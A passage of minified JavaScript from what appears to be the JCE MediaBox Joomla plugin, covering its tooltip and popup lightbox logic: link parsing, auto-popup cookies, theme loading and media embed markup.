-->/;re.test(text)&&(text=re.exec(text)[1]),t.tooltiptheme=text,t.create()}}).send(JCEMediaBox.site+JCEMediaBox.options.themepath+"/"+theme+"/tooltip.html")},create:function(o){function _withinElement(el,e,fn){for(var p=e.relatedTarget;p&&p!=el;)try{p=p.parentNode}catch(e){p=el}return p!=el&&fn.call(this)}var t=this,each=JCEMediaBox.each,DOM=JCEMediaBox.DOM,Event=JCEMediaBox.Event;each(DOM.select(".jcetooltip, .jce_tooltip",o),function(el){DOM.attribute(el,"data-title",el.title),DOM.remove(el,"title");var n=el;"IMG"==el.nodeName&&"jcemediabox-zoom-span"==el.parentNode.className&&(n=el.parentNode),Event.add(n,"mouseover",function(e){_withinElement(el,e,function(){return t.start(el)})}),Event.add(n,"mouseout",function(e){_withinElement(el,e,function(){return t.end(el)})}),Event.add(n,"mousemove",function(e){return t.locate(e)})})},build:function(){if(!this.toolTip){var DOM=JCEMediaBox.DOM;this.toolTip=DOM.add(document.body,"div",{style:{opacity:0},class:"jcemediabox-tooltip"},this.tooltiptheme),JCEMediaBox.isIE6&&DOM.addClass(this.toolTip,"ie6")}},start:function(el){var t=this,DOM=JCEMediaBox.DOM;if(!this.tooltiptheme)return!1;this.build();var text=DOM.attribute(el,"data-title")||"",title="";if(/::/.test(text)){var parts=text.split("::");title=JCEMediaBox.trim(parts[0]),text=JCEMediaBox.trim(parts[1])}var h="";title&&(h+="<h4>"+title+"</h4>"),text&&(h+="<p>"+text+"</p>");var tn=DOM.get("jcemediabox-tooltip-text");"undefined"==typeof tn?(this.toolTip.className="jcemediabox-tooltip-simple",this.toolTip.innerHTML=h):tn.innerHTML=h,DOM.style(t.toolTip,"visibility","visible"),JCEMediaBox.FX.animate(t.toolTip,{opacity:JCEMediaBox.options.tooltip.opacity},JCEMediaBox.options.tooltip.speed)},end:function(el){return!!this.tooltiptheme&&void JCEMediaBox.DOM.styles(this.toolTip,{visibility:"hidden",opacity:0})},locate:function(e){if(!this.tooltiptheme)return!1;this.build();var o=JCEMediaBox.options.tooltip.offsets,page={x:e.pageX||e.clientX+document.documentElement.scrollLeft,y:e.pageY||e.clientY+document.documentElement.scrollTop},tip={x:this.toolTip.offsetWidth,y:this.toolTip.offsetHeight},pos={x:page.x+o.x,y:page.y+o.y},ah=0;switch(JCEMediaBox.options.tooltip.position){case"tl":pos.x=page.x-tip.x-o.x,pos.y=page.y-tip.y-(ah+o.y);break;case"tr":pos.x=page.x+o.x,pos.y=page.y-tip.y-(ah+o.y);break;case"tc":pos.x=page.x-Math.round(tip.x/2)+o.x,pos.y=page.y-tip.y-(ah+o.y);break;case"bl":pos.x=page.x-tip.x-o.x,pos.y=page.y+Math.round(tip.y/2)-(ah+o.y);break;case"br":pos.x=page.x+o.x,pos.y=page.y+o.y;break;case"bc":pos.x=page.x-tip.x/2+o.x,pos.y=page.y+ah+o.y}JCEMediaBox.DOM.styles(this.toolTip,{top:pos.y,left:pos.x})},position:function(element){}},JCEMediaBox.Popup={addons:{flash:{},image:{},iframe:{},html:{},pdf:{}},setAddons:function(n,o){JCEMediaBox.extend(this.addons[n],o)},getAddons:function(n){return n?this.addons[n]:this.addons},getAddon:function(v,n){var r,cp=!1,each=JCEMediaBox.each;return addons=this.getAddons(n),each(this.addons,function(o,s){each(o,function(fn){r=fn.call(this,v),"undefined"!=typeof r&&(cp=r)})}),cp},cleanEvent:function(s){return s.replace(/^function\s+anonymous\(\)\s+\{\s+(.*)\s+\}$/,"$1")},parseJSON:function(data){return"string"==typeof data&&data?/^[\],:{}\s]*$/.test(data.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,""))?window.JSON&&window.JSON.parse?window.JSON.parse(data):new Function("return "+data)():void 0:null},params:function(s){function trim(s){return s=s.replace(/^\s+/,"").replace(/\s+$/,"")}var a=[],x=[],DOM=JCEMediaBox.DOM;if("string"==typeof s){if(/^\{[\w\W]+\}$/.test(s))return this.parseJSON(s);if(/\w+\[[^\]]+\]/.test(s))return s=s.replace(/([\w]+)\[([^\]]+)\](;)?/g,function(a,b,c,d){return'"'+b+'":"'+DOM.encode(trim(c))+'"'+(d?",":"")}),this.parseJSON("{"+s+"}");s.indexOf("=")!==-1&&(s.indexOf("&")!==-1?x=s.split(/&(amp;)?/g):x.push(s))}return"object"==typeof s&&s instanceof Array&&(x=s),JCEMediaBox.each(x,function(n,i){n&&(n=n.replace(/^([^\[]+)(\[|=|:)([^\]]*)(\]?)$/,function(a,b,c,d){return d?/[^0-9]/.test(d)?'"'+b+'":"'+DOM.encode(trim(d))+'"':'"'+b+'":'+parseInt(d):""}),n&&a.push(n))}),this.parseJSON("{"+a.join(",")+"}")},getCookie:function(n){var e,b,c=document.cookie,p=n+"=";if(c){if(b=c.indexOf("; "+p),b==-1){if(b=c.indexOf(p),0!=b)return null}else b+=2;return e=c.indexOf(";",b),e==-1&&(e=c.length),unescape(c.substring(b+p.length,e))}},setCookie:function(n,v,e,p,d,s){document.cookie=n+"="+escape(v)+(e?"; expires="+e.toGMTString():"")+(p?"; path="+escape(p):"")+(d?"; domain="+d:"")+(s?"; secure":"")},convertLegacy:function(){var self=this,each=JCEMediaBox.each,DOM=JCEMediaBox.DOM;each(DOM.select("a[href]"),function(el){if(/com_jce/.test(el.href)){var p,s,img,oc=DOM.attribute(el,"onclick");if(oc){s=oc.replace(/&#39;/g,"'").split("'"),p=self.params(s[1]);var img=p.img||"",title=p.title||""}img&&(/http:\/\//.test(img)||("/"==img.charAt(0)&&(img=img.substr(1)),img=JCEMediaBox.site.replace(/http:\/\/([^\/]+)/,"")+img),DOM.attributes(el,{href:img,title:title.replace(/_/," "),onclick:""}),DOM.addClass(el,"jcepopup"))}})},convertLightbox:function(){var each=JCEMediaBox.each,DOM=JCEMediaBox.DOM;each(DOM.select("a[rel*=lightbox]"),function(el){DOM.addClass(el,"jcepopup"),r=el.rel.replace(/lightbox\[?([^\]]*)\]?/,function(a,b){return b?"group["+b+"]":""}),DOM.attribute(el,"rel",r)})},convertShadowbox:function(){var each=JCEMediaBox.each,DOM=JCEMediaBox.DOM;each(DOM.select("a[rel*=shadowbox]"),function(el){DOM.addClass(el,"jcepopup"),r=el.rel.replace(/shadowbox\[?([^\]]*)\]?/,function(a,b){var attribs="",group="";return b&&(group="group["+b+"]"),/;=/.test(a)&&(attribs=a.replace(/=([^;"]+)/g,function(x,z){return"["+z+"]"})),group&&attribs?group+";"+attribs:group||attribs||""}),DOM.attribute(el,"rel",r)})},translate:function(s){return s||(s=this.popup.theme),s=s.replace(/\{#(\w+?)\}/g,function(a,b){return JCEMediaBox.options.popup.labels[b]})},styles:function(o){var x=[];return o?(JCEMediaBox.each(o.split(";"),function(s,i){s=s.replace(/(.*):(.*)/,function(a,b,c){return'"'+b+'":"'+c+'"'}),x.push(s)}),this.parseJSON("{"+x.join(",")+"}")):{}},getType:function(el){var o={},type="";return el.type&&/(director|windowsmedia|mplayer|quicktime|real|divx|flash|pdf)/.test(el.type)&&(type=/(director|windowsmedia|mplayer|quicktime|real|divx|flash|pdf)/.exec(el.type)[1]),o=this.getAddon(el.src),o&&o.type&&(type=o.type),type||el.type||"iframe"},mediatype:function(c){var ci,cb,mt;switch(c=/(director|windowsmedia|mplayer|quicktime|real|divx|flash|pdf)/.exec(c),c[1]){case"director":case"application/x-director":ci="166b1bca-3f9c-11cf-8075-444553540000",cb="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0",mt="application/x-director";break;case"windowsmedia":case"mplayer":case"application/x-mplayer2":ci="6bf52a52-394a-11d3-b153-00c04f79faa6",cb="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701",mt="application/x-mplayer2";break;case"quicktime":case"video/quicktime":ci="02bf25d5-8c17-4b23-bc80-d3488abddc6b",cb="http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0",mt="video/quicktime";break;case"real":case"realaudio":case"audio/x-pn-realaudio-plugin":ci="cfcdaa03-8be4-11cf-b84b-0020afbbccfa",cb="",mt="audio/x-pn-realaudio-plugin";break;case"divx":case"video/divx":ci="67dabfbf-d0ab-41fa-9c46-cc0f21721616",cb="http://go.divx.com/plugin/DivXBrowserPlugin.cab",mt="video/divx";break;case"pdf":case"application/pdf":ci="ca8a9780-280d-11cf-a24d-444553540000",cb="",mt="application/pdf";break;default:case"flash":case"application/x-shockwave-flash":ci="d27cdb6e-ae6d-11cf-96b8-444553540000",cb="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,124,0",mt="application/x-shockwave-flash"}return{classid:ci,codebase:cb,mediatype:mt}},islocal:function(s){return!/^(\w+:)?\/\//.test(s)||new RegExp("^("+JCEMediaBox.site+")").test(s)},protocolRelative:function(url){if(JCEMediaBox.isIE6)return url;var local=document.location.href;return url.indexOf("https://")!==-1?url:local.indexOf("https://")!==-1?url.replace(/http(s)?:\/\//i,"//"):url},frameWidth:function(){var w=0,el=this.frame;return JCEMediaBox.each(["left","right"],function(s){w+=parseFloat(JCEMediaBox.DOM.style(el,"padding-"+s))}),parseFloat(this.frame.clientWidth-w)},frameHeight:function(){var h=0,el=this.frame,DIM=JCEMediaBox.Dimensions;return JCEMediaBox.each(["top","bottom"],function(s){h+=parseFloat(JCEMediaBox.DOM.style(el,"padding-"+s))}),h+=JCEMediaBox.isIE6||JCEMediaBox.isIE7?DIM.getScrollbarWidth():0,parseInt(DIM.getHeight())-h},width:function(){return this.frameWidth()-JCEMediaBox.Dimensions.getScrollbarWidth()},height:function(){var h=0,t=this,each=JCEMediaBox.each,DIM=JCEMediaBox.Dimensions;return each(["top","bottom"],function(s){var el=t["info-"+s];el&&(h+=parseInt(DIM.outerHeight(el)))}),this.frameHeight()-h},printPage:function(){return!1},zoom:function(el){function _buildIcon(el,zoom,child,styles){var span=DOM.add(el,"span",{class:"jcemediabox-zoom-span",style:child.style.cssText});"IMG"===child.nodeName&&child.title&&span.setAttribute("title",child.title),DOM.styles(span,styles),DOM.hasClass(el.parentNode,"wf_caption")&&(span.style.width=null,DOM.style(span,"max-width",DOM.style(el.parentNode,"max-width"))),span.style.width&&(DOM.style(span,"max-width",span.style.width),span.style.width=null),DOM.add(span,child),DOM.add(span,zoom),each(["style","align","border","hspace","vspace"],function(v,i){child.removeAttribute(v)}),DOM.addClass(zoom,"jcemediabox-zoom-image"),JCEMediaBox.isIE6&&/\.png/i.test(DOM.style(zoom,"background-image"))&&DOM.png(zoom),DOM.styles(child,{margin:0,padding:0,float:"none",border:"none"})}var self=this,DOM=JCEMediaBox.DOM,extend=JCEMediaBox.extend,each=JCEMediaBox.each,zoom=(el.childNodes,DOM.create("span"));JCEMediaBox.isIE6&&DOM.addClass(el,"ie6");var cls=DOM.attribute(el,"class");cls=cls.replace("icon-","zoom-","g"),DOM.attribute(el,"class",cls);var img=DOM.select("img",el);if(img&&img.length){var child=img[0],align=child.getAttribute("align"),vspace=child.getAttribute("vspace"),hspace=child.getAttribute("hspace"),styles={};each(["top","right","bottom","left"],function(pos){styles["margin-"+pos]=DOM.style(child,"margin-"+pos),styles["padding-"+pos]=DOM.style(child,"padding-"+pos),each(["width","style","color"],function(prop){styles["border-"+pos+"-"+prop]=DOM.style(child,"border-"+pos+"-"+prop)})}),/\w+/.test(align)&&extend(styles,{float:/left|right/.test(align)?align:"","text-align":/top|middle|bottom/.test(align)?align:""}),vspace>0&&extend(styles,{"margin-top":parseInt(vspace),"margin-bottom":parseInt(vspace)}),hspace>0&&extend(styles,{"margin-left":parseInt(hspace),"margin-right":parseInt(hspace)});var w=child.getAttribute("width"),h=child.getAttribute("height"),ws=child.style.width,rh=child.height,rw=child.width;if(!w&&!ws&&!rw)return!child.loaded&&(child.onload=function(){return child.loaded=!0,self.zoom(el)},child.onerror=function(){return!1},!1);!w&&h&&(w=h/rh*rw),w||(w=/([0-9]+)(px)?$/.test(ws)?parseFloat(ws):rw),w&&(child.setAttribute("width",w),styles.width=w),extend(styles,{"text-align":child.style.textAlign});var float=DOM.style(child,"float");"left"!==float&&"right"!==float||(styles.float=float),
_buildIcon(el,zoom,child,styles)}else DOM.addClass(zoom,"jcemediabox-zoom-link"),DOM.hasClass(el,"zoom-left")?DOM.addBefore(el,zoom):DOM.add(el,zoom),JCEMediaBox.isIE7&&DOM.style(zoom,"display","inline-block");return zoom},auto:function(){function makeID(src){var url=document.location.href,key=window.btoa(url+src);return key=key.replace(/[^\w]/g,""),key=key.substr(0,24)}var dts,key,t=this,expires=JCEMediaBox.options.popup.cookie_expiry;JCEMediaBox.each(this.popups,function(el,i){if(el.auto)if("single"==el.auto){key=el.id||makeID(el.src);var cookie=t.getCookie("jcemediabox_"+key+"_"+i);cookie||(expires&&(dts=new Date,dts.setHours(24*expires)),t.setCookie("jcemediabox_"+key+"_"+i,1,dts),t.start(el))}else"multiple"==el.auto&&t.start(el)})},init:function(){window.jcepopup=this,this.create()},getPopups:function(s,p){var selector="a.jcebox, a.jcelightbox, a.jcepopup, a[data-mediabox], area.jcebox, area.jcelightbox, area.jcepopup, area[data-mediabox]";return JCEMediaBox.DOM.select(s||selector,p)},getData:function(n){var data,DOM=JCEMediaBox.DOM,o=(JCEMediaBox.each,{}),re=/\w+\[[^\]]+\]/;if(data=n.getAttribute("data-mediabox")||n.getAttribute("data-json"),data&&"1"!=data)return n.removeAttribute("data-json"),n.removeAttribute("data-mediabox"),this.params(data);var i,attrs=n.attributes,x=0;for(i=attrs.length-1;i>=0;i--){var attrName=attrs[i].name;if(attrName&&attrName.indexOf("data-mediabox-")!==-1){var attr=attrName.replace("data-mediabox-","");o[attr]=attrs[i].value,x++}}if(x)return o;var title=DOM.attribute(n,"title"),rel=DOM.attribute(n,"rel");if(title&&re.test(title))return o=this.params(title),DOM.attribute(n,"title",o.title||""),o;if(rel&&re.test(rel)){var args=[];return rel=rel.replace(/\b((\w+)\[(.*?)\])(;?)/g,function(a,b,c){return args.push(b),""}),o=this.params(args)||{},DOM.attribute(n,"rel",rel||o.rel||""),o}return o},process:function(el){var data,DOM=JCEMediaBox.DOM,o={},group="",auto=!1,title=el.title||"",rel=el.rel||"",src=el.href;if(src=src.replace(/b(w|h)=([0-9]+)/g,function(s,k,v){return k="w"==k?"width":"height",k+"="+v}),data=this.getData(el)||{},!/\w+\[[^\]]+\]/.test(rel)){var rx="alternate|stylesheet|start|next|prev|contents|index|glossary|copyright|chapter|section|subsection|appendix|help|bookmark|nofollow|noopener|noreferrer|licence|tag|friend",lb="(lightbox([(.*?)])?)",lt="(lyte(box|frame|show)([(.*?)])?)";group=JCEMediaBox.trim(rel.replace(new RegExp("(^|\\s+)"+rx+"|"+lb+"|"+lt+"(\\s+|$)","g"),"","gi"))}return"AREA"==el.nodeName&&(data||(data=this.params(src)),group=group||"AREA_ELEMENT",data.type||(match=/\b(ajax|iframe|image|flash|director|shockwave|mplayer|windowsmedia|quicktime|realaudio|real|divx|pdf)\b/.exec(el.className))&&(data.type=match[0])),/autopopup-(single|multiple)/.test(el.className)&&(auto=/(multiple)/.test(el.className)?"multiple":"single"),auto=auto||data.autopopup||"",group=group||data.group||"",JCEMediaBox.extend(o,{src:src,title:data.title||title,group:DOM.hasClass(el,"nogroup")?"":group,type:data.type||el.type||"",params:data,auto:auto}),el.href=el.href.replace(/&type=(ajax|text\/html|text\/xml)/,""),o},create:function(elements){var t=this,each=JCEMediaBox.each,Event=JCEMediaBox.Event,DOM=JCEMediaBox.DOM,pageload=!1,auto=!1;if(elements||(pageload=!0,this.popups=[],1==JCEMediaBox.options.popup.legacy&&t.convertLegacy(),1==JCEMediaBox.options.popup.lightbox&&t.convertLightbox(),1==JCEMediaBox.options.popup.shadowbox&&t.convertShadowbox()),this.elements=elements||this.getPopups(),each(this.elements,function(el,i){if(!el.href)return!0;if(1===el.childNodes.length&&"IMG"===el.firstChild.nodeName&&DOM.addClass(el,"jcemediabox-image"),1!=JCEMediaBox.options.popup.icons||"A"!=el.nodeName||/(noicon|icon-none|noshow)/.test(el.className)||"none"==el.style.display||t.zoom(el),"_blank"===DOM.attribute(el,"target")){var rel=DOM.attribute(el,"rel")||"";rel.indexOf("noopener")===-1&&(rel+=" noopener"),rel.indexOf("noreferrer")===-1&&(rel+=" noreferrer"),DOM.attribute(el,"rel",JCEMediaBox.trim(rel))}DOM.removeClass(el,"jcelightbox"),DOM.removeClass(el,"jcebox"),DOM.addClass(el,"jcepopup");var o=t.process(el);t.popups.push(o),pageload||(i=t.popups.length-1),Event.add(el,"click",function(e){return Event.cancel(e),t.start(o,i)})}),pageload){this.popuptheme="";var theme=JCEMediaBox.options.theme;new JCEMediaBox.XHR({success:function(text,xml){var re=/<!-- THEME START -->([\s\S]*?)<!-- THEME END -->/;re.test(text)&&(text=re.exec(text)[1]),t.popuptheme=text,auto||(t.auto(),auto=!0)}}).send(JCEMediaBox.site+"plugins/system/jcemediabox/themes/"+theme+"/popup.html")}},open:function(data,title,group,type,params){var i,o={};if("string"==typeof data&&(data={src:data,title:title,group:group,type:type,params:params}),data.nodeName&&("A"==data.nodeName||"AREA"==data.nodeName)){if(i=JCEMediaBox.inArray(this.elements,data),i>=0)return this.start(this.popups[i],i);var o=this.process(data),x=this.popups.push(o);return this.start(o,x-1)}return this.start(data)},start:function(p,i){var len,n=0,items=[],each=JCEMediaBox.each;if(this.build())return p.group?(each(this.popups,function(o,x){o.group==p.group&&(len=items.push(o),i&&x==i&&(n=len-1))}),p.auto||"undefined"!=typeof i||(items.push(p),n=items.length-1)):items.push(p),this.show(items,n)},build:function(){var t=this,each=JCEMediaBox.each,DOM=JCEMediaBox.DOM,Event=JCEMediaBox.Event;if(!this.page){if(this.page=DOM.add(document.body,"div",{id:"jcemediabox-popup-page"}),JCEMediaBox.isIE6&&DOM.addClass(this.page,"ie6"),JCEMediaBox.isIE7&&DOM.addClass(this.page,"ie7"),JCEMediaBox.isiOS&&DOM.addClass(this.page,"ios"),JCEMediaBox.isAndroid&&DOM.addClass(this.page,"android"),1==JCEMediaBox.options.popup.overlay&&(this.overlay=DOM.add(this.page,"div",{id:"jcemediabox-popup-overlay",style:{opacity:0,"background-color":JCEMediaBox.options.popup.overlaycolor}})),!this.popuptheme)return!1;this.popuptheme=this.popuptheme.replace(/<!--(.*?)-->/g,""),this.popuptheme=this.translate(this.popuptheme),this.frame=DOM.add(this.page,"div",{id:"jcemediabox-popup-frame"},'<div id="jcemediabox-popup-body">'+this.popuptheme+"</div>"),each(DOM.select("*[id]",this.frame),function(el){var s=el.id.replace("jcemediabox-popup-","");t[s]=el,DOM.hide(el)}),(JCEMediaBox.isiOS||JCEMediaBox.isAndroid)&&JCEMediaBox.isWebKit&&DOM.style(this.content,"webkitOverflowScrolling","touch"),2==JCEMediaBox.options.popup.close&&Event.add(this.frame,"click",function(e){e.target&&e.target==t.frame&&t.close()}),this.closelink&&Event.add(this.closelink,"click",function(){return t.close()}),this.cancellink&&Event.add(this.cancellink,"click",function(){return t.close()}),this.next&&Event.add(this.next,"click",function(){return t.nextItem()}),this.prev&&Event.add(this.prev,"click",function(){return t.previousItem()}),this.numbers&&(this.numbers.tmpHTML=this.numbers.innerHTML),this.print&&Event.add(this.print,"click",function(){return t.printPage()}),JCEMediaBox.isIE6&&(DOM.png(this.body),each(DOM.select("*",this.body),function(el){"jcemediabox-popup-content"!=DOM.attribute(el,"id")&&DOM.png(el)}))}return!0},show:function(items,n){var DOM=JCEMediaBox.DOM,DIM=JCEMediaBox.Dimensions,top=0;return this.items=items,this.bind(!0),DOM.show(this.body),/\d/.test(this.body.style.top)||(top=(DIM.getHeight()-DIM.outerHeight(this.body))/2),DOM.style(this.body,"top",top),(JCEMediaBox.isIE6||"scroll"==JCEMediaBox.options.popup.scrolling)&&(DOM.addClass(this.page,"scrolling"),DOM.style(this.overlay,"height",DIM.getScrollHeight()),DOM.style(this.body,"top",DIM.getScrollTop()+top)),1==JCEMediaBox.options.popup.overlay&&this.overlay&&(DOM.show(this.overlay),JCEMediaBox.FX.animate(this.overlay,{opacity:JCEMediaBox.options.popup.overlayopacity},JCEMediaBox.options.popup.fadespeed)),this.change(n)},bind:function(open){var t=this,isIE6=JCEMediaBox.isIE6,each=JCEMediaBox.each,DOM=JCEMediaBox.DOM,Event=JCEMediaBox.Event;JCEMediaBox.Dimensions;isIE6&&each(DOM.select("select"),function(el){open&&(el.tmpStyle=el.style.visibility||""),el.style.visibility=open?"hidden":el.tmpStyle}),JCEMediaBox.options.popup.hideobjects&&each(DOM.select("object, embed"),function(el){"jcemediabox-popup-object"!=el.id&&(open&&(el.tmpStyle=el.style.visibility||""),el.style.visibility=open?"hidden":el.tmpStyle)});var scroll=JCEMediaBox.options.popup.scrollpopup;open?(Event.add(document,"keydown",function(e){t.listener(e)}),isIE6&&(Event.add(window,"scroll",function(e){DOM.style(t.overlay,"height",JCEMediaBox.Dimensions.getScrollHeight())}),Event.add(window,"scroll",function(e){DOM.style(t.overlay,"width",JCEMediaBox.Dimensions.getScrollWidth())}))):(!isIE6&&scroll||(Event.remove(window,"scroll"),Event.remove(window,"resize")),Event.remove(document,"keydown"))},listener:function(e){switch(e.keyCode){case 27:this.close();break;case 37:this.previousItem();break;case 39:this.nextItem()}},queue:function(n){var t=this,changed=!1;JCEMediaBox.each(["top","bottom"],function(s){var el=t["info-"+s];if(el){var v=JCEMediaBox.Dimensions.outerHeight(el),style={};style.top="top"==s?v:-v,JCEMediaBox.FX.animate(el,style,JCEMediaBox.options.popup.scalespeed,function(){changed||(changed=!0,JCEMediaBox.FX.animate(t.content,{opacity:0},JCEMediaBox.options.popup.fadespeed,function(){return t.change(n)}))})}})},nextItem:function(){if(1==this.items.length)return!1;var n=this.index+1;return!(n<0||n>=this.items.length)&&this.queue(n)},previousItem:function(){if(1==this.items.length)return!1;var n=this.index-1;return!(n<0||n>=this.items.length)&&this.queue(n)},info:function(){function processRe(h){return h=h.replace(ex,'<a href="mailto:$1" target="_blank">$1</a>'),h=h.replace(ux,'<a href="$1" target="_blank">$1</a>')}var each=JCEMediaBox.each,DOM=JCEMediaBox.DOM,Event=JCEMediaBox.Event;if(this.caption){var title=this.active.title||"",text=this.active.caption||"",h="",ex=/([-!#$%&\'\*\+\\.\/0-9=?A-Z^_`a-z{|}~]+@[-!#$%&\'\*\+\\/0-9=?A-Z^_`a-z{|}~]+\.[-!#$%&\'*+\\.\/0-9=?A-Z^_`a-z{|}~]+)/gi,ux=/([a-zA-Z]{3,9}:\/\/[^\s]+)/gi;title&&(h+="<h4>"+DOM.decode(title)+"</h4>"),text&&(h+="<p>"+DOM.decode(text)+"</p>"),this.caption.innerHTML=h,""!=h&&each(DOM.select("*",this.caption),function(el){"A"!=el.nodeName&&each(el.childNodes,function(n,i){if(3==n.nodeType){var s=n.innerText||n.textContent||n.data||null;s&&/(@|:\/\/)/.test(s)&&(s=processRe(s))&&(n.parentNode.innerHTML=s)}})})}var t=this,len=this.items.length;if(this.numbers&&len>1){var html=this.numbers.tmpHTML||"{$numbers}";if(/\{\$numbers\}/.test(html)){this.numbers.innerHTML="";for(var i=0;i<len;i++){var n=i+1,title=decodeURIComponent(this.items[i].title||n),link=DOM.add(this.numbers,"a",{href:"javascript:;",title:title,class:this.index==i?"active":""},n);Event.add(link,"click",function(e){var x=parseInt(e.target.innerHTML)-1;return t.index!=x&&t.queue(x)})}}/\{\$(current|total)\}/.test(html)&&(this.numbers.innerHTML=html.replace("{$current}",this.index+1).replace("{$total}",len))}else this.numbers&&(this.numbers.innerHTML="");each(["top","bottom"],function(v,i){var el=t["info-"+v];el&&(DOM.show(el),each(DOM.select("*[id]",el),function(s){DOM.show(s)}),DOM.style(el,"visibility","hidden"))}),DOM.hide(this.next),DOM.hide(this.prev),len>1&&(this.prev&&(this.index>0?DOM.show(this.prev):DOM.hide(this.prev)),this.next&&(this.index<len-1?DOM.show(this.next):DOM.hide(this.next)))},change:function(n){function toAbsolute(url){var div=document.createElement("div");return div.innerHTML='<a href="'+url+'">x</a>',div.firstChild.href}function resolveMediaPath(s,absolute){return s&&s.indexOf("://")===-1&&"/"!==s.charAt(0)&&(s=JCEMediaBox.options.base+s),absolute?toAbsolute(s):s}var o,w,h,t=this,extend=JCEMediaBox.extend,each=JCEMediaBox.each,DOM=(JCEMediaBox.inArray,JCEMediaBox.DOM),Event=JCEMediaBox.Event,isIE=JCEMediaBox.isIE,DIM=JCEMediaBox.Dimensions,p={};if(n<0||n>=this.items.length)return!1;this.index=n,this.active={},DOM.show(this.container),this.loader&&DOM.show(this.loader),this.cancellink&&DOM.show(this.cancellink),this.object&&(this.object=null),this.content.innerHTML="",o=this.items[n],extend(p,this.getAddon(o.src,o.type)),delete o.params.src,extend(p,o.params);var width=p.width||JCEMediaBox.options.popup.width||0,height=p.height||JCEMediaBox.options.popup.height||0;width&&/%/.test(width)&&(width=DIM.getWidth()*parseInt(width)/100),height&&/%/.test(height)&&(height=DIM.getHeight()*parseInt(height)/100);var title=o.title||p.title||"",caption=p.caption||"";if(/::/.test(title)){var parts=title.split("::");title=JCEMediaBox.trim(parts[0]),caption=JCEMediaBox.trim(parts[1])}title=DOM.decode(title),caption=DOM.decode(caption);try{title=decodeURIComponent(title),caption=decodeURIComponent(caption)}catch(e){}switch(extend(this.active,{src:p.src||o.src,title:title,caption:caption,type:p.type||this.getType(o),params:p||{},width:width,height:height}),this.active.type){case"image":case"image/jpeg":case"image/png":case"image/gif":case"image/bmp":this.print&&this.options.print&&(this.print.style.visibility="visible"),this.img=new Image,this.img.onload=function(){return t.setup()},this.img.onerror=function(){return t.img.error=!0,t.setup()},this.img.src=this.active.src,isIE&&DOM.style(this.content,"background-color",DOM.style(this.content,"background-color")),p.width&&!p.height?this.active.height=0:p.height&&!p.width&&(this.active.width=0);break;case"flash":case"director":case"shockwave":case"mplayer":case"windowsmedia":case"quicktime":case"realaudio":case"real":case"divx":this.print&&(this.print.style.visibility="hidden"),p.src=this.active.src;var base=/:\/\//.test(p.src)?"":this.site;this.object="",w=this.width(),h=this.height();var mt=this.mediatype(this.active.type);"flash"==this.active.type&&(p.wmode="transparent",p.base=base),/(mplayer|windowsmedia)/i.test(this.active.type)&&(p.baseurl=base,isIE&&(p.url=p.src,delete p.src)),delete p.title,delete p.group,p.width=this.active.width||this.width(),p.height=this.active.height||this.height();var flash=/flash/i.test(this.active.type);/pdf/i.test(this.active.type);if(this.active.type="media",this.active.width=p.width,this.active.height=p.height,flash||isIE){this.object='<object id="jcemediabox-popup-object"',flash&&!isIE?this.object+=' type="'+mt.mediatype+'" data="'+p.src+'"':(this.object+=' classid="clsid:'+mt.classid+'"',mt.codebase&&(this.object+=' codebase="'+mt.codebase+'"'));for(n in p)""!==p[n]&&/^(id|name|style|width|height)$/.test(n)&&(t.object+=" "+n+'="'+decodeURIComponent(DOM.decode(p[n]))+'"',delete p[n]);delete p.type,this.object+=">";for(n in p)t.object+='<param name="'+n+'" value="'+decodeURIComponent(DOM.decode(p[n]))+'" />';this.object+="</object>"}else{this.object='<embed id="jcemediabox-popup-object" type="'+mt.mediatype+'"';for(n in p)""!==v&&(t.object+=" "+n+'="'+v+'"');this.object+="></embed>"}this.setup();break;case"video/x-flv":case"video/mp4":case"video/mpeg":case"video/ogg":case"audio/ogg":case"audio/mp3":case"video/webm":case"audio/webm":var type=this.active.type,tag=/video/.test(type)?"video":"audio",supportMap={video:{h264:["video/mp4","video/mpeg"],webm:["video/webm"],ogg:["video/ogg"]},audio:{mp3:["audio/mp3"],ogg:["audio/ogg"],webm:["audio/webm"]}},hasSupport=!1;if("video/x-flv"!==type)for(var n in supportMap[tag])supportMap[tag][n].indexOf(type)!==-1&&(hasSupport=support[tag]&&!!support[tag][n]);this.object="";var src=resolveMediaPath(this.active.src);if(p.poster&&(p.poster=resolveMediaPath(p.poster)),hasSupport){p.width=p.width||this.active.width,p.height=p.height||this.active.height,this.object+="<"+tag+' type="'+type+'" src="'+this.active.src+'"';for(n in p)""!==p[n]&&(/(loop|autoplay|controls|preload)$/.test(n)&&(t.object+=" "+n+'="'+n+'"'),/(id|style|poster|audio)$/.test(n)&&(t.object+=" "+n+'="'+decodeURIComponent(DOM.decode(p[n]))+'"'));this.object+="></"+tag+">"}else if(/(video|audio)\/(mp4|mpeg|x-flv|mp3)/.test(type)){var swf=JCEMediaBox.options.base+"plugins/system/jcemediabox/mediaplayer/mediaplayer.swf";this.object+='<object type="application/x-shockwave-flash" class="wf-mediaplayer-object" data="'+swf+'"',p.style=p.style||"";var flashvars=["file="+toAbsolute(src)];p.poster&&(p.style+=" background-image:url('"+p.poster+"')"),each(p,function(v,n){""!==v&&(n=n.toLowerCase(),"loop"!==n&&"autoplay"!==n&&"controls"!==n||flashvars.push(n+"="+!!v),"preload"===n&&flashvars.push(n+"="+v),"id"!==n&&"style"!==n||(v=decodeURIComponent(DOM.decode(v)),v=JCEMediaBox.trim(v),""!==v&&(t.object+=" "+n+'="'+v+'"')),"width"===n|"height"===n&&(t.object+=" "+n+'="'+v+'"'))}),this.object+=">",this.object+='<param name="movie" value="'+swf+'" />',this.object+='<param name="flashvars" value="'+flashvars.join("&")+'" />',this.object+='<param name="allowfullscreen" value="true" />',this.object+='<param name="wmode" value="transparent" />',this.object+='<i>Flash is required to play this video. <a href="http://get.adobe.com/flashplayer/" target="_blank">Get Adobe® Flash Player</a></i>',this.object+="</object>"}else 